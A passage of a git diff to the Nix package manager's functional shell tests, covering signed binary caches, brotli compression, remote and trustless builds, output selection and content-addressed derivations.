"$TEST_ROOT/sk1" +publicKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk1") -nix key generate-secret --key-name test.nixos.org-1 > $TEST_ROOT/sk2 -badKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk2) +nix key generate-secret --key-name test.nixos.org-1 > "$TEST_ROOT/sk2" +badKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk2") -nix key generate-secret --key-name foo.nixos.org-1 > $TEST_ROOT/sk3 -otherKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk3) +nix key generate-secret --key-name foo.nixos.org-1 > "$TEST_ROOT/sk3" +otherKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk3") -_NIX_FORCE_HTTP= nix copy --to file://$cacheDir?secret-key=$TEST_ROOT/sk1 $outPath +_NIX_FORCE_HTTP='' nix copy --to "file://$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath" # Downloading should fail if we don't provide a key. clearStore clearCacheCache -(! nix-store -r $outPath --substituters "file://$cacheDir") +(! nix-store -r "$outPath" --substituters "file://$cacheDir") # And it should fail if we provide an incorrect key. clearStore clearCacheCache -(! nix-store -r $outPath --substituters "file://$cacheDir" --trusted-public-keys "$badKey") +(! nix-store -r "$outPath" --substituters "file://$cacheDir" --trusted-public-keys "$badKey") # It should succeed if we provide the correct key. -nix-store -r $outPath --substituters "file://$cacheDir" --trusted-public-keys "$otherKey $publicKey" +nix-store -r "$outPath" --substituters "file://$cacheDir" --trusted-public-keys "$otherKey $publicKey" # It should fail if we corrupt the .narinfo. clearStore cacheDir2=$TEST_ROOT/binary-cache-2 -rm -rf $cacheDir2 -cp -r $cacheDir $cacheDir2 +rm -rf "$cacheDir2" +cp -r "$cacheDir" "$cacheDir2" -for i in $cacheDir2/*.narinfo; do - grep -v References $i > $i.tmp - mv $i.tmp $i +for i in "$cacheDir2"/*.narinfo; do + grep -v References "$i" > "$i".tmp + mv "$i".tmp "$i" done clearCacheCache -(! nix-store -r $outPath --substituters "file://$cacheDir2" --trusted-public-keys "$publicKey") +(! nix-store -r "$outPath" --substituters "file://$cacheDir2" --trusted-public-keys "$publicKey") # If we provide a bad and a good binary cache, it should succeed. -nix-store -r $outPath --substituters "file://$cacheDir2 file://$cacheDir" --trusted-public-keys "$publicKey" +nix-store -r "$outPath" --substituters "file://$cacheDir2 file://$cacheDir" --trusted-public-keys "$publicKey" unset _NIX_FORCE_HTTP # Test 'nix verify --all' on a binary cache. -nix store verify -vvvvv --all --store file://$cacheDir --no-trust +nix store verify -vvvvv --all --store "file://$cacheDir" --no-trust # Test local NAR caching. narCache=$TEST_ROOT/nar-cache -rm -rf $narCache -mkdir $narCache +rm -rf "$narCache" +mkdir "$narCache" -[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" $outPath/foobar) = FOOBAR ]] +[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]] rm -rfv "$cacheDir/nar" -[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" $outPath/foobar) = FOOBAR ]] +[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]] -(! nix store cat --store file://$cacheDir $outPath/foobar) +(! nix store cat --store "file://$cacheDir" "$outPath/foobar") # Test NAR listing generation. clearCache + +# preserve quotes variables in the single-quoted string +# shellcheck disable=SC2016 outPath=$(nix-build --no-out-link -E ' with import ./config.nix; mkDerivation { @@ -230,16 +245,18 @@ outPath=$(nix-build --no-out-link -E ' } ') -nix copy --to file://$cacheDir?write-nar-listing=1 $outPath +nix copy --to "file://$cacheDir"?write-nar-listing=1 "$outPath" diff -u \ - <(jq -S < $cacheDir/$(basename $outPath | cut -c1-32).ls) \ + <(jq -S < "$cacheDir/$(basename "$outPath" | cut -c1-32).ls") \ <(echo '{"version":1,"root":{"type":"directory","entries":{"bar":{"type":"regular","size":4,"narOffset":232},"link":{"type":"symlink","target":"xyzzy"}}}}' | jq -S) # Test debug info index generation. clearCache +# preserve quotes variables in the single-quoted string +# shellcheck disable=SC2016 outPath=$(nix-build --no-out-link -E ' with import ./config.nix; mkDerivation { @@ -248,14 +265,16 @@ outPath=$(nix-build --no-out-link -E ' } ') -nix copy --to "file://$cacheDir?index-debug-info=1&compression=none" $outPath +nix copy --to "file://$cacheDir?index-debug-info=1&compression=none" "$outPath" diff -u \ - <(cat $cacheDir/debuginfo/02623eda209c26a59b1a8638ff7752f6b945c26b.debug | jq -S) \ + <(jq -S < "$cacheDir"/debuginfo/02623eda209c26a59b1a8638ff7752f6b945c26b.debug) \ <(echo '{"archive":"../nar/100vxs724qr46phz8m24iswmg9p3785hsyagz0kchf6q6gf06sw6.nar","member":"lib/debug/.build-id/02/623eda209c26a59b1a8638ff7752f6b945c26b.debug"}' | jq -S) # Test against issue https://github.com/NixOS/nix/issues/3964 -# + +# preserve quotes variables in the single-quoted string +# shellcheck disable=SC2016 expr=' with import ./config.nix; mkDerivation { @@ -265,22 +284,22 @@ expr=' } ' outPath=$(nix-build --no-out-link -E "$expr") -docPath=$(nix-store -q --references $outPath) +docPath=$(nix-store -q --references "$outPath") # $ nix-store -q --tree $outPath # ...-multi-output # +---...-multi-output-doc -nix copy --to "file://$cacheDir" $outPath +nix copy --to "file://$cacheDir" "$outPath" hashpart() { basename "$1" | cut -c1-32 } # break the closure of out by removing doc -rm $cacheDir/$(hashpart $docPath).narinfo +rm "$cacheDir/$(hashpart "$docPath")".narinfo -nix-store --delete $outPath $docPath +nix-store --delete "$outPath" "$docPath" # -vvv is the level that logs during the loop timeout 60 nix-build --no-out-link -E "$expr" --option substituters "file://$cacheDir" \ --option trusted-binary-caches "file://$cacheDir" --no-require-sigs diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh new file mode 100755 index 000000000..327eab4a5 --- /dev/null +++ b/tests/functional/brotli.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore +clearCache + +cacheURI="file://$cacheDir?compression=br" + +outPath=$(nix-build dependencies.nix --no-out-link) + +nix copy --to "$cacheURI" "$outPath" + +HASH=$(nix hash path "$outPath") + +clearStore +clearCacheCache + +nix copy --from "$cacheURI" "$outPath" --no-check-sigs + +HASH2=$(nix hash path "$outPath") + +[[ $HASH == "$HASH2" ]] diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh new file mode 100755 index 000000000..18841509d --- /dev/null +++ b/tests/functional/build-delete.sh @@ -0,0 +1,56 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +# https://github.com/NixOS/nix/issues/6572 +issue_6572_independent_outputs() { + nix build -f multiple-outputs.nix --json independent --no-link > "$TEST_ROOT"/independent.json + + # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation. + p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths) + nix-store --delete "$p" # Clean up for next test + + # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present. + nix-store --delete "$(jq -r <"$TEST_ROOT"/independent.json .[0].outputs.first)" + p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths) + cmp "$p" < "$TEST_ROOT"/a.json + + # # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation. + p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths) + nix-store --delete "$p" # Clean up for next test + + # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present. + nix-store --delete "$(jq -r <"$TEST_ROOT"/a.json .[0].outputs.second)" + p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths) + cmp "$p" < $TEST_ROOT/post-build-hook.sh + cat < "$TEST_ROOT/post-build-hook.sh" #!/bin/sh echo "Post hook ran successfully" # Add an empty line to a counter file, just to check that this hook ran properly echo "" >> $TEST_ROOT/post-hook-counter EOF - chmod +x $TEST_ROOT/post-build-hook.sh - rm -f $TEST_ROOT/post-hook-counter + chmod +x "$TEST_ROOT/post-build-hook.sh" + rm -f "$TEST_ROOT/post-hook-counter" - echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> $NIX_CONF_DIR/nix.conf + echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$test_nix_conf" } registerBuildHook @@ -30,4 +32,4 @@ source build-remote.sh # `build-hook.nix` has four derivations to build, and the hook runs twice for # each derivation (once on the builder and once on the host), so the counter # should contain eight lines now -[[ $(cat $TEST_ROOT/post-hook-counter | wc -l) -eq 8 ]] +[[ $(wc -l < "$TEST_ROOT/post-hook-counter") -eq 8 ]] diff --git a/tests/functional/build-remote-trustless-after.sh b/tests/functional/build-remote-trustless-after.sh new file mode 100644 index 000000000..2fcdbf10a --- /dev/null +++ b/tests/functional/build-remote-trustless-after.sh @@ -0,0 +1,7 @@ +# shellcheck shell=bash + +# Variables must be defined by caller, so +# shellcheck disable=SC2154 + +outPath=$(readlink -f "$TEST_ROOT/result") +grep 'FOO BAR BAZ' "${remoteDir}/${outPath}" diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh new file mode 100755 index 000000000..4eccb73e0 --- /dev/null +++ b/tests/functional/build-remote-trustless-should-fail-0.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash + +source common.sh + +enableFeatures "daemon-trust-override" + +TODO_NixOS +restartDaemon + +requireSandboxSupport +[[ $busybox =~ busybox ]] || skipTest "no busybox" + +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +# We first build a dependency of the derivation we eventually want to +# build. +nix-build build-hook.nix -A passthru.input2 \ + -o "$TEST_ROOT/input2" \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/local" \ + --option system-features bar + +# Now when we go to build that downstream derivation, Nix will try to +# copy our already-build `input2` to the remote store. That store object +# is input-addressed, so this will fail. + +# For script below +# shellcheck disable=SC2034 +file=build-hook.nix +# shellcheck disable=SC2034 +prog=$(readlink -e ./nix-daemon-untrusting.sh) +# shellcheck disable=SC2034 +proto=ssh-ng + +expectStderr 1 source build-remote-trustless.sh \ + | grepQuiet "cannot add path '[^ ]*' because it lacks a signature by a trusted key" diff --git a/tests/functional/build-remote-trustless-should-pass-0.sh b/tests/functional/build-remote-trustless-should-pass-0.sh new file mode 100755 index 000000000..b81060907 --- /dev/null +++ b/tests/functional/build-remote-trustless-should-pass-0.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +source common.sh + +# Remote trusts us +file=build-hook.nix +prog=nix-store +proto=ssh + +source build-remote-trustless.sh +source build-remote-trustless-after.sh diff --git a/tests/functional/build-remote-trustless-should-pass-1.sh b/tests/functional/build-remote-trustless-should-pass-1.sh new file mode 100755 index 000000000..b8dc038bf --- /dev/null +++ b/tests/functional/build-remote-trustless-should-pass-1.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +source common.sh + +# Remote trusts us +file=build-hook.nix +prog=nix-daemon +proto=ssh-ng + +source build-remote-trustless.sh +source build-remote-trustless-after.sh diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh new file mode 100755 index 000000000..34ce7fbe4 --- /dev/null +++ b/tests/functional/build-remote-trustless-should-pass-2.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash + +source common.sh + +enableFeatures "daemon-trust-override" + +TODO_NixOS + +restartDaemon + +# Remote doesn't trust us +file=build-hook.nix +prog=$(readlink -e ./nix-daemon-untrusting.sh) +proto=ssh-ng + +source build-remote-trustless.sh +source build-remote-trustless-after.sh diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh new file mode 100755 index 000000000..d01d79191 --- /dev/null +++ b/tests/functional/build-remote-trustless-should-pass-3.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash + +source common.sh + +enableFeatures "daemon-trust-override" + +TODO_NixOS +restartDaemon + +# Remote doesn't trusts us, but this is fine because we are only +# building (fixed) CA derivations. +file=build-hook-ca-fixed.nix +prog=$(readlink -e ./nix-daemon-untrusting.sh) +proto=ssh-ng + +source build-remote-trustless.sh +source build-remote-trustless-after.sh diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh new file mode 100644 index 000000000..c498d46c3 --- /dev/null +++ b/tests/functional/build-remote-trustless.sh @@ -0,0 +1,20 @@ +# shellcheck shell=bash + +# All variables should be defined externally by the scripts that source +# this, `set -u` will catch any that are forgotten. +# shellcheck disable=SC2154 + +requireSandboxSupport +[[ "$busybox" =~ busybox ]] || skipTest "no busybox" + +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +remoteDir=$TEST_ROOT/remote + +# Note: ssh{-ng}://localhost bypasses ssh. See tests/functional/build-remote.sh for +# more details. +nix-build "$file" -o "$TEST_ROOT/result" --max-jobs 0 \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/local" \ + --builders "$proto://localhost?remote-program=$prog&remote-store=${remoteDir}%3Fsystem-features=foo%20bar%20baz - - 1 1 foo,bar,baz" diff --git a/tests/functional/build-remote-with-mounted-ssh-ng.sh b/tests/functional/build-remote-with-mounted-ssh-ng.sh new file mode 100755 index 000000000..e2627af39 --- /dev/null +++ b/tests/functional/build-remote-with-mounted-ssh-ng.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash + +source common.sh + +requireSandboxSupport +[[ $busybox =~ busybox ]] || skipTest "no busybox" + +enableFeatures mounted-ssh-store + +nix build -Lvf simple.nix \ + --arg busybox "$busybox" \ + --out-link "$TEST_ROOT/result-from-remote" \ + --store mounted-ssh-ng://localhost + +nix build -Lvf simple.nix \ + --arg busybox "$busybox" \ + --out-link "$TEST_ROOT/result-from-remote-new-cli" \ + --store 'mounted-ssh-ng://localhost?remote-program=nix daemon' + +# This verifies that the out link was actually created and valid. The ability +# to create out links (permanent gc roots) is the distinguishing feature of +# the mounted-ssh-ng store. +grepQuiet 'Hello World!' < "$TEST_ROOT/result-from-remote/hello" +grepQuiet 'Hello World!' < "$TEST_ROOT/result-from-remote-new-cli/hello" diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh new file mode 100644 index 000000000..1a5334577 --- /dev/null +++ b/tests/functional/build-remote.sh @@ -0,0 +1,88 @@ +# shellcheck shell=bash + +: "${file?must be defined by caller (remote building test case using this)}" + +requireSandboxSupport +[[ "${busybox-}" =~ busybox ]] || skipTest "no busybox" + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } + +EXTRA_SYSTEM_FEATURES=() +if [[ -n "${CONTENT_ADDRESSED-}" ]]; then + EXTRA_SYSTEM_FEATURES=("ca-derivations") +fi + +builders=( + # system-features will automatically be added to the outer URL, but not inner + # remote-store URL. + "ssh://localhost?remote-store=$TEST_ROOT/machine1?system-features=$(join_by "%20" foo "${EXTRA_SYSTEM_FEATURES[@]}") - - 1 1 $(join_by "," foo "${EXTRA_SYSTEM_FEATURES[@]}")" + "$TEST_ROOT/machine2 - - 1 1 $(join_by "," bar "${EXTRA_SYSTEM_FEATURES[@]}")" + "ssh-ng://localhost?remote-store=$TEST_ROOT/machine3?system-features=$(join_by "%20" baz "${EXTRA_SYSTEM_FEATURES[@]}") - - 1 1 $(join_by "," baz "${EXTRA_SYSTEM_FEATURES[@]}")" +) + +chmod -R +w "$TEST_ROOT/machine"* || true +rm -rf "$TEST_ROOT/machine"* || true + +# Note: ssh://localhost bypasses ssh, directly invoking nix-store as a +# child process. This allows us to test LegacySSHStore::buildDerivation(). +# ssh-ng://... likewise allows us to test RemoteStore::buildDerivation(). +nix build -L -v -f "$file" -o "$TEST_ROOT/result" --max-jobs 0 \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/machine0" \ + --builders "$(join_by '; ' "${builders[@]}")" + +outPath=$(readlink -f "$TEST_ROOT/result") + +grep 'FOO BAR BAZ' "$TEST_ROOT/machine0/$outPath" + +testPrintOutPath=$(nix build -L -v -f "$file" --no-link --print-out-paths --max-jobs 0 \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/machine0" \ + --builders "$(join_by '; ' "${builders[@]}")" +) + +[[ $testPrintOutPath =~ store.*build-remote ]] + +# Ensure that input1 was built on store1 due to the required feature. +output=$(nix path-info --store "$TEST_ROOT/machine1" --all) +echo "$output" | grepQuiet builder-build-remote-input-1.sh +echo "$output" | grepQuietInverse builder-build-remote-input-2.sh +echo "$output" | grepQuietInverse builder-build-remote-input-3.sh +unset output + +# Ensure that input2 was built on store2 due to the required feature. +output=$(nix path-info --store "$TEST_ROOT/machine2" --all) +echo "$output" | grepQuietInverse builder-build-remote-input-1.sh +echo "$output" | grepQuiet builder-build-remote-input-2.sh +echo "$output" | grepQuietInverse builder-build-remote-input-3.sh +unset output + +# Ensure that input3 was built on store3 due to the required feature. +output=$(nix path-info --store "$TEST_ROOT/machine3" --all) +echo "$output" | grepQuietInverse builder-build-remote-input-1.sh +echo "$output" | grepQuietInverse builder-build-remote-input-2.sh +echo "$output" | grepQuiet builder-build-remote-input-3.sh +unset output + + +for i in input1 input3; do +nix log --store "$TEST_ROOT/machine0" --file "$file" --arg busybox "$busybox" "passthru.$i" | grep hi-$i +done + +# Behavior of keep-failed +out="$(nix-build 2>&1 failing.nix \ + --no-out-link \ + --builders "$(join_by '; ' "${builders[@]}")" \ + --keep-failed \ + --store "$TEST_ROOT/machine0" \ + -j0 \ + --arg busybox "$busybox")" || true + +[[ "$out" =~ .*"note: keeping build directory".* ]] + +build_dir="$(grep "note: keeping build" <<< "$out" | sed -E "s/^(.*)note: keeping build directory '(.*)'(.*)$/\2/")" +[[ "foo" = $(<"$build_dir"/bar) ]] diff --git a/tests/functional/build.sh b/tests/functional/build.sh new file mode 100755 index 000000000..5396a465f --- /dev/null +++ b/tests/functional/build.sh @@ -0,0 +1,189 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +# Make sure that 'nix build' returns all outputs by default. +nix build -f multiple-outputs.nix --json a b --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | + (keys | length == 2) and + (.first | match(".*multiple-outputs-a-first")) and + (.second | match(".*multiple-outputs-a-second")))) + and (.[1] | + (.drvPath | match(".*multiple-outputs-b.drv")) and + (.outputs | + (keys | length == 1) and + (.out | match(".*multiple-outputs-b")))) +' + +# Test output selection using the '^' syntax. +nix build -f multiple-outputs.nix --json a^first --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | keys == ["first"])) +' + +nix build -f multiple-outputs.nix --json a^second,first --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | keys == ["first", "second"])) +' + +nix build -f multiple-outputs.nix --json 'a^*' --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | keys == ["first", "second"])) +' + +# Test that 'outputsToInstall' is respected by default. +nix build -f multiple-outputs.nix --json e --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a", "b"])) +' + +# Tests that we can handle empty 'outputsToInstall' (assuming that default +# output "out" exists). +nix build -f multiple-outputs.nix --json nothing-to-install --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*nothing-to-install.drv")) and + (.outputs | keys == ["out"])) +' + +# But not when it's overriden. +nix build -f multiple-outputs.nix --json e^a_a --no-link +nix build -f multiple-outputs.nix --json e^a_a --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a"])) +' + +nix build -f multiple-outputs.nix --json 'e^*' --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a", "b", "c"])) +' + +# test buidling from non-drv attr path + +nix build -f multiple-outputs.nix --json 'e.a_a.outPath' --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a"])) +' + +# Illegal type of string context +expectStderr 1 nix build -f multiple-outputs.nix 'e.a_a.drvPath' \ + | grepQuiet "has a context which refers to a complete source and binary closure." + +# No string context +expectStderr 1 nix build --expr '""' --no-link \ + | grepQuiet "has 0 entries in its context. It should only have exactly one entry" + +# Too much string context +expectStderr 1 nix build --impure --expr 'with (import ./multiple-outputs.nix).e.a_a; "${drvPath}${outPath}"' --no-link \ + | grepQuiet "has 2 entries in its context. It should only have exactly one entry" + +nix build --impure --json --expr 'builtins.unsafeDiscardOutputDependency (import ./multiple-outputs.nix).e.a_a.drvPath' --no-link | jq --exit-status ' + (.[0] | match(".*multiple-outputs-e.drv")) +' + +# Test building from raw store path to drv not expression. + +drv=$(nix eval -f multiple-outputs.nix --raw a.drvPath) +if nix build "$drv^not-an-output" --no-link --json; then + fail "'not-an-output' should fail to build" +fi + +if nix build "$drv^" --no-link --json; then + fail "'empty outputs list' should fail to build" +fi + +if nix build "$drv^*nope" --no-link --json; then + fail "'* must be entire string' should fail to build" +fi + +nix build "$drv^first" --no-link --json | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | + (keys | length == 1) and + (.first | match(".*multiple-outputs-a-first")) and + (has("second") | not))) +' + +nix build "$drv^first,second" --no-link --json | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | + (keys | length == 2) and + (.first | match(".*multiple-outputs-a-first")) and + (.second | match(".*multiple-outputs-a-second")))) +' + +nix build "$drv^*" --no-link --json | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-a.drv")) and + (.outputs | + (keys | length == 2) and + (.first | match(".*multiple-outputs-a-first")) and + (.second | match(".*multiple-outputs-a-second")))) +' + +# Make sure that `--impure` works (regression test for https://github.com/NixOS/nix/issues/6488) +nix build --impure -f multiple-outputs.nix --json e --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a", "b"])) +' + +# Make sure that the 3 types of aliases work +# BaseSettings, BaseSettings, and BaseSettings. +nix build --impure -f multiple-outputs.nix --json e --no-link \ + --build-max-jobs 3 \ + --gc-keep-outputs \ + --build-use-sandbox | \ + jq --exit-status ' + (.[0] | + (.drvPath | match(".*multiple-outputs-e.drv")) and + (.outputs | keys == ["a_a", "b"])) +' + +# Make sure that `--stdin` works and does not apply any defaults +printf "" | nix build --no-link --stdin --json | jq --exit-status '. == []' +printf "%s\n" "$drv^*" | nix build --no-link --stdin --json | jq --exit-status '.[0]|has("drvPath")' + +# --keep-going and FOD +out="$(nix build -f fod-failing.nix -L 2>&1)" && status=0 || status=$? +test "$status" = 1 +# one "hash mismatch" error, one "build of ... failed" +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 2 +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x1\\.drv'" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'" +<<<"$out" grepQuiet -E "error: build of '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out', '.*-x[1-4]\\.drv\\^out' failed" + +out="$(nix build -f fod-failing.nix -L x1 x2 x3 --keep-going 2>&1)" && status=0 || status=$? +test "$status" = 1 +# three "hash mismatch" errors - for each failing fod, one "build of ... failed" +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 4 +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x1\\.drv'" +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x3\\.drv'" +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x2\\.drv'" +<<<"$out" grepQuiet -E "error: build of '.*-x[1-3]\\.drv\\^out', '.*-x[1-3]\\.drv\\^out', '.*-x[1-3]\\.drv\\^out' failed" + +out="$(nix build -f fod-failing.nix -L x4 2>&1)" && status=0 || status=$? +test "$status" = 1 +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 2 +<<<"$out" grepQuiet -E "error: 1 dependencies of derivation '.*-x4\\.drv' failed to build" +<<<"$out" grepQuiet -E "hash mismatch in fixed-output derivation '.*-x2\\.drv'" + +out="$(nix build -f fod-failing.nix -L x4 --keep-going 2>&1)" && status=0 || status=$? +test "$status" = 1 +test "$(<<<"$out" grep -E '^error:' | wc -l)" = 3 +<<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'" +<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'" diff --git a/tests/ca-shell.nix b/tests/functional/ca-shell.nix similarity index 100% rename from tests/ca-shell.nix rename to tests/functional/ca-shell.nix diff --git a/tests/functional/ca/build-cache.sh b/tests/functional/ca/build-cache.sh new file mode 100644 index 000000000..5cc71823e --- /dev/null +++ b/tests/functional/ca/build-cache.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash + +source common.sh + +# The substituters didn't work prior to this time. +requireDaemonNewerThan "2.18.0pre20230808" + +drv=$(nix-instantiate ./content-addressed.nix -A rootCA --arg seed 1)^out +nix derivation show "$drv" --arg seed 1 + +buildAttr () { + local derivationPath=$1 + local seedValue=$2 + shift; shift + local args=("./content-addressed.nix" "-A" "$derivationPath" --arg seed "$seedValue" "--no-out-link") + args+=("$@") + nix-build "${args[@]}" +} + +copyAttr () { + local derivationPath=$1 + local seedValue=$2 + shift; shift + local args=("-f" "./content-addressed.nix" "$derivationPath" --arg seed "$seedValue") + args+=("$@") + # Note: to copy CA derivations, we need to copy the realisations, which + # currently requires naming the installables, not just the derivation output + # path. + + nix copy --to "file://$cacheDir" "${args[@]}" +} + +testRemoteCacheFor () { + local derivationPath=$1 + clearCache + copyAttr "$derivationPath" 1 + clearStore + # Check nothing gets built. + buildAttr "$derivationPath" 1 --option substituters "file://$cacheDir" --no-require-sigs |& grepQuietInverse " will be built:" +} + +testRemoteCache () { + testRemoteCacheFor rootCA + testRemoteCacheFor dependentCA + testRemoteCacheFor dependentNonCA + testRemoteCacheFor dependentFixedOutput + testRemoteCacheFor dependentForBuildCA + testRemoteCacheFor dependentForBuildNonCA +} + +clearStore +testRemoteCache diff --git a/tests/ca/build-dry.sh b/tests/functional/ca/build-dry.sh similarity index 100% rename from tests/ca/build-dry.sh rename to tests/functional/ca/build-dry.sh diff --git a/tests/ca/build-with-garbage-path.sh b/tests/functional/ca/build-with-garbage-path.sh similarity index 100% rename from tests/ca/build-with-garbage-path.sh rename to tests/functional/ca/build-with-garbage-path.sh diff --git a/tests/functional/ca/build.sh b/tests/functional/ca/build.sh new file mode 100644 index 000000000..e5ad9d2a0 --- /dev/null +++ b/tests/functional/ca/build.sh @@ -0,0 +1,67 @@ +#!/usr/bin/env bash + +source common.sh + +drv=$(nix-instantiate ./content-addressed.nix -A rootCA --arg seed 1)^out +nix derivation show "$drv" --arg seed 1 + +buildAttr () { + local derivationPath=$1 + local seedValue=$2 + shift; shift + local args=("./content-addressed.nix" "-A" "$derivationPath" --arg seed "$seedValue" "--no-out-link") + args+=("$@") + nix-build "${args[@]}" +} + +testDeterministicCA () { + [[ $(buildAttr rootCA 1) = $(buildAttr rootCA 2) ]] +} + +testCutoffFor () { + local out1 out2 + out1=$(buildAttr "$1" 1) + # The seed only changes the root derivation, and not it's output, so the + # dependent derivations should only need to be built once. + buildAttr rootCA 2 + out2=$(buildAttr "$1" 2 -j0) + test "$out1" == "$out2" +} + +testCutoff () { + # Don't directly build dependentCA, that way we'll make sure we don't rely on + # dependent derivations always being already built. + #testDerivation dependentCA + testCutoffFor transitivelyDependentCA + testCutoffFor dependentNonCA + testCutoffFor dependentFixedOutput +} + +testGC () { + nix-instantiate ./content-addressed.nix -A rootCA --arg seed 5 + nix-collect-garbage --option keep-derivations true + clearStore + buildAttr rootCA 1 --out-link "$TEST_ROOT"/rootCA + nix-collect-garbage + buildAttr rootCA 1 -j0 +} + +testNixCommand () { + clearStore + nix build --file ./content-addressed.nix --no-link +} + +# Regression test for https://github.com/NixOS/nix/issues/4775 +testNormalization () { + clearStore + outPath=$(buildAttr rootCA 1) + test "$(stat -c %Y "$outPath")" -eq 1 +} + +clearStore +testNormalization +testDeterministicCA +clearStore +testCutoff +testGC +testNixCommand diff --git a/tests/ca/common.sh b/tests/functional/ca/common.sh similarity index 85% rename from tests/ca/common.sh rename to tests/functional/ca/common.sh index b104b5a78..48f1ac46b 100644 --- a/tests/ca/common.sh +++ b/tests/functional/ca/common.sh @@ -2,4 +2,6 @@ source ../common.sh enableFeatures "ca-derivations" +TODO_NixOS + restartDaemon diff --git a/tests/ca/concurrent-builds.sh b/tests/functional/ca/concurrent-builds.sh similarity index 100% rename from tests/ca/concurrent-builds.sh rename to tests/functional/ca/concurrent-builds.sh diff --git a/tests/ca/config.nix.in b/tests/functional/ca/config.nix.in similarity index 100% rename from tests/ca/config.nix.in rename to tests/functional/ca/config.nix.in diff --git a/tests/ca/content-addressed.nix b/tests/functional/ca/content-addressed.nix similarity index 83% rename from tests/ca/content-addressed.nix rename to tests/functional/ca/content-addressed.nix index 81bc4bf5c..2559c562f 100644 --- a/tests/ca/content-addressed.nix +++ b/tests/functional/ca/content-addressed.nix @@ -61,6 +61,24 @@ rec { echo ${rootCA}/non-ca-hello > $out/dep ''; }; + dependentForBuildCA = mkCADerivation { + name = 